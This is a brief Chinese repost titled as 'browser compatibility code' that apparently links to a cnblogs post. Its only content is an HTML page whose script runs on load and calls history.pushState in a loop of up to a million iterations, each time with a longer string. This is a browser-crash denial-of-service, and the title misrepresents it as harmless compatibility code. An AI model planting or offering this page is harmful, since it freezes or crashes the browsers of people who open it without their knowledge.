各浏览器兼容代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Examples</title>
<meta name="description" content="">
<meta name="keywords" content="">
</head>
<body>
<script>
for (var i = 0; i < 10; i++) {
var total = "";
for (var i = 0; i < 1000000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
}
</script>
</body>
</html>

原文地址:https://www.cnblogs.com/chengyunshen/p/8461652.html